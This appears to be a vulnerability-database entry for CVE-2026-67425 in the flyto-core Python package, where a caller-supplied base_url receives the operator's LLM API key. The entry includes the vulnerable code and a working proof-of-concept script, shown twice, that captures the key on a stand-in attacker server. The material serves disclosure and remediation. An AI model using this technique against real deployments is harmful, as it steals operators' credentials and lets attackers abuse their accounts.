CVE-2026-67425: Flyto2 Core LLM/API Keys Leak To An Vulnerability

HIGH
Advisory Identifier: GHSA-qq9q-xgm3-xv9g
CVSS 8.6
CWE-522 CWE-201
Published
Advisory Summary

CVE-2026-67425 is a HIGH (CVSS 8.6) llm/api keys leak to an vulnerability (CWE-522: Insufficiently Protected Credentials) affecting Flyto2 Core libraries in the PyPI ecosystem. The issue involves llm/api keys leak to an attacker-controlled base_url. Remediation is available by upgrading affected packages to version 2.26.7.

CVE-2026-67425 at a Glance

CVE Identifier CVE-2026-67425
GHSA Identifier GHSA-qq9q-xgm3-xv9g
Severity HIGH
CVSS v3.1 Base Score 8.6
CWE Classification CWE-522: Insufficiently Protected Credentials
Affected Product Flyto2 Core
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-67425

To remediate this vulnerability, upgrade all affected Flyto2 Core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

flyto-core fixed: 2.26.7
pip install flyto-core>=2.26.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show flyto-core

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-67425, inspect your installed packages using pip:

pip show flyto-core

Analyze the terminal output to locate any version of Flyto2 Core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.26.7), your application is affected.

Note: The pip show flyto-core command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-522: Insufficiently Protected Credentials, where the product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval. In Flyto2 Core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `llm.chat` reads the operator's provider key from the environment (`OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, ...) and sends it in the `Authorization: Bearer` header to `base_url`, a parameter the caller controls. `base_url` is only checked against the SSRF guard, and the guard allows any public host, so pointing `base_url` at an attacker's server hands them the operator's key. flyto-core's own bounty scale rates "environment access exposing secrets (e.g. `ANTHROPIC_API_KEY`)" as High. ## Affected code `src/core/modules/atomic/llm/chat.py` (`_call_openai`): ```python base_url = params.get('base_url') # caller-controlled if base_url: validate_url_with_env_config(base_url) # SSRF check only; a public attacker host passes if not api_key: api_key = os.getenv('OPENAI_API_KEY') # operator's key ... url = (base_url or "https://api.openai.com/v1").rstrip('/') + "/chat/completions" headers = {"Authorization": f"Bearer {api_key}"} await client.post(url, headers=headers, json=payload) # sent to base_url ``` The same wiring (env key plus caller endpoint) exists in `ai.model` (which does not even SSRF-check `base_url`), `llm.agent`, and `vector.connector` (`QDRANT_API_KEY` with a caller `url`). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker's public host. ## Reproduction Save as `keyexfil_poc.py`, run with `PYTHONPATH=src/src python keyexfil_poc.py`. It sets an operator key in the environment and points `base_url` at a local capture server. ```python #!/usr/bin/env python3 import asyncio import os import threading from http.server import BaseHTTPRequestHandler, HTTPServer os.environ["OPENAI_API_KEY"] = "sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a" os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # stand-in for the attacker's public host CAPTURED = {} class Attacker(BaseHTTPRequestHandler): def do_POST(self): CAPTURED["auth"] = self.headers.get("Authorization") ln = int(self.headers.get("Content-Length", 0)); self.rfile.read(ln) b = b'{"choices":[{"message":{"content":"pwned"},"finish_reason":"stop"}],"usage":{"total_tokens":1}}' self.send_response(200); self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(b))); self.end_headers(); self.wfile.write(b) def log_message(self, *a): pass async def main(): from core.modules.atomic import register_all from core.modules.registry import ModuleRegistry register_all() threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Attacker).serve_forever, daemon=True).start() res = await ModuleRegistry.execute("llm.chat", params={ "prompt": "hi", "provider": "openai", "base_url": "http://localhost:8080", }, context={}) print("module ok:", res.get("ok")) print("Authorization received by attacker:", CAPTURED.get("auth")) if __name__ == "__main__": asyncio.run(main()) ``` Output: ``` module ok: True Authorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a ``` Confirmed against the running API as well: calling `llm.chat` with `base_url=https://example.com` was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached. ## Impact Theft of the operator's cloud LLM / vector-DB keys, which lets the attacker bill and abuse those accounts and reach data available to the key. The caller only needs to influence `base_url`, which is reachable through the MCP agent surface or the hosted API. ## Suggested fix Only use the environment-derived key with the provider's official endpoint. If the caller supplies a custom `base_url`, require them to supply the `api_key` explicitly too, or check `base_url` against an allowlist of trusted endpoints — never auto-attach the operator's secret to an arbitrary host. Apply the same to `ai.model`, `llm.agent` and `vector.connector`, and add SSRF validation to `ai.model`'s `base_url`.

CVE-2026-67425 Affected Flyto2 Core Versions

1 component(s)
Fixed Versions:
2.26.7
Product / Package Ecosystem Affected Versions Fixed Version
flyto-core
PyPI
< 2.26.7
2.26.7

References

Frequently Asked Questions

What is CVE-2026-67425?
CVE-2026-67425 is a security vulnerability in Flyto2 Core involving LLM/API keys leak to an attacker-controlled base_url under CWE-522: Insufficiently Protected Credentials.
Which Flyto2 Core versions are affected?
Affected versions include releases prior to 2.26.7 across affected packages: flyto-core.
What version fixes CVE-2026-67425?
Upgrading to 2.26.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is flyto-core affected?
Yes, flyto-core is affected in releases prior to 2.26.7. Upgrade your dependency to 2.26.7 or later.
What is the CVSS score of CVE-2026-67425?
CVE-2026-67425 has a CVSS v3.1 base score of 8.6 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-67425?
CVE-2026-67425 is classified under CWE-522: Insufficiently Protected Credentials (The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.).
How can I check PyPI dependencies for CVE-2026-67425?
Run the dependency tree command: 'pip show flyto-core'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qq9q-xgm3-xv9g",
  "modified" : "2026-07-30T14:47:16Z",
  "published" : "2026-07-30T14:47:16Z",
  "aliases" : [ "CVE-2026-67425" ],
  "summary" : "Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url",
  "details" : "## Summary\n\n`llm.chat` reads the operator's provider key from the environment (`OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, ...) and sends it in the `Authorization: Bearer` header to `base_url`, a parameter the caller controls. `base_url` is only checked against the SSRF guard, and the guard allows any public host, so pointing `base_url` at an attacker's server hands them the operator's key. flyto-core's own bounty scale rates \"environment access exposing secrets (e.g. `ANTHROPIC_API_KEY`)\" as High.\n\n## Affected code\n\n`src/core/modules/atomic/llm/chat.py` (`_call_openai`):\n\n```python\nbase_url = params.get('base_url')            # caller-controlled\nif base_url:\n    validate_url_with_env_config(base_url)    # SSRF check only; a public attacker host passes\nif not api_key:\n    api_key = os.getenv('OPENAI_API_KEY')     # operator's key\n...\nurl = (base_url or \"https://api.openai.com/v1\").rstrip('/') + \"/chat/completions\"\nheaders = {\"Authorization\": f\"Bearer {api_key}\"}\nawait client.post(url, headers=headers, json=payload)   # sent to base_url\n```\n\nThe same wiring (env key plus caller endpoint) exists in `ai.model` (which does not even SSRF-check `base_url`), `llm.agent`, and `vector.connector` (`QDRANT_API_KEY` with a caller `url`). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker's public host.\n\n## Reproduction\n\nSave as `keyexfil_poc.py`, run with `PYTHONPATH=src/src python keyexfil_poc.py`. It sets an operator key in the environment and points `base_url` at a local capture server.\n\n```python\n#!/usr/bin/env python3\nimport asyncio\nimport os\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nos.environ[\"OPENAI_API_KEY\"] = \"sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a\"\nos.environ[\"FLYTO_ALLOWED_HOSTS\"] = \"localhost\"   # stand-in for the attacker's public host\nCAPTURED = {}\n\nclass Attacker(BaseHTTPRequestHandler):\n    def do_POST(self):\n        CAPTURED[\"auth\"] = self.headers.get(\"Authorization\")\n        ln = int(self.headers.get(\"Content-Length\", 0)); self.rfile.read(ln)\n        b = b'{\"choices\":[{\"message\":{\"content\":\"pwned\"},\"finish_reason\":\"stop\"}],\"usage\":{\"total_tokens\":1}}'\n        self.send_response(200); self.send_header(\"Content-Type\", \"application/json\")\n        self.send_header(\"Content-Length\", str(len(b))); self.end_headers(); self.wfile.write(b)\n    def log_message(self, *a): pass\n\nasync def main():\n    from core.modules.atomic import register_all\n    from core.modules.registry import ModuleRegistry\n    register_all()\n    threading.Thread(target=HTTPServer((\"127.0.0.1\", 8080), Attacker).serve_forever, daemon=True).start()\n    res = await ModuleRegistry.execute(\"llm.chat\", params={\n        \"prompt\": \"hi\", \"provider\": \"openai\", \"base_url\": \"http://localhost:8080\",\n    }, context={})\n    print(\"module ok:\", res.get(\"ok\"))\n    print(\"Authorization received by attacker:\", CAPTURED.get(\"auth\"))\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nOutput:\n\n```\nmodule ok: True\nAuthorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a\n```\n\nConfirmed against the running API as well: calling `llm.chat` with `base_url=https://example.com` was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached.\n\n## Impact\n\nTheft of the operator's cloud LLM / vector-DB keys, which lets the attacker bill and abuse those accounts and reach data available to the key. The caller only needs to influence `base_url`, which is reachable through the MCP agent surface or the hosted API.\n\n## Suggested fix\n\nOnly use the environment-derived key with the provider's official endpoint. If the caller supplies a custom `base_url`, require them to supply the `api_key` explicitly too, or check `base_url` against an allowlist of trusted endpoints — never auto-attach the operator's secret to an arbitrary host. Apply the same to `ai.model`, `llm.agent` and `vector.connector`, and add SSRF validation to `ai.model`'s `base_url`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "flyto-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.26.7"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/flytohub/flyto-core/security/advisories/GHSA-qq9q-xgm3-xv9g"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-67425"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/flytohub/flyto-core/commit/d5f89d71303e3c1e6418d347c5c55fcd173cc8cc"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/flytohub/flyto-core"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/flytohub/flyto-core/releases/tag/v2.26.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-201", "CWE-522" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-30T14:47:16Z",
    "nvd_published_at" : "2026-07-29T19:16:51Z"
  }
}